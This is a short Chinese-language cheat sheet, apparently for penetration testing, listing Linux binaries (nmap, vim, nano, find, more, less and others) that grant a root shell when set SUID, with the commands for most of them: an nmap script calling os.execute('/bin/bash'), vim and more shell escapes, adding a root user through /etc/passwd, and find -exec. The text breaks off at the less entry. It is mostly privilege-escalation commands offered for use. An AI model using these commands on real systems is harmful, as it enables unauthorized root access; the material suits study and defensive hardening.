可以用suid来提取的命令(前提是这些命令设置了suid权限)
- nmap
- vim
- nano
- find
- bash
- more
- less
- cp
- awk
- man
1.nmap
- 执行:
nmap --script=exe.nse
,脚本中的内容写:os.execute("/bin/bash")
2.vim
- 进入vim的编辑模式,执行:
:set shell=/bin/bash
;:shell
3.nano
- 执行:
nano /etc/passwd
, 即可添加root
用户
4.find
- 执行:
find /tmp -name * -exec whoami \;
利用find命令的-exec选项来以root身份执行任意命令
5.more
- 执行:
more /etc/passwd
;!/bin/bash
6.less
- 执行:
less /etc/passwd
;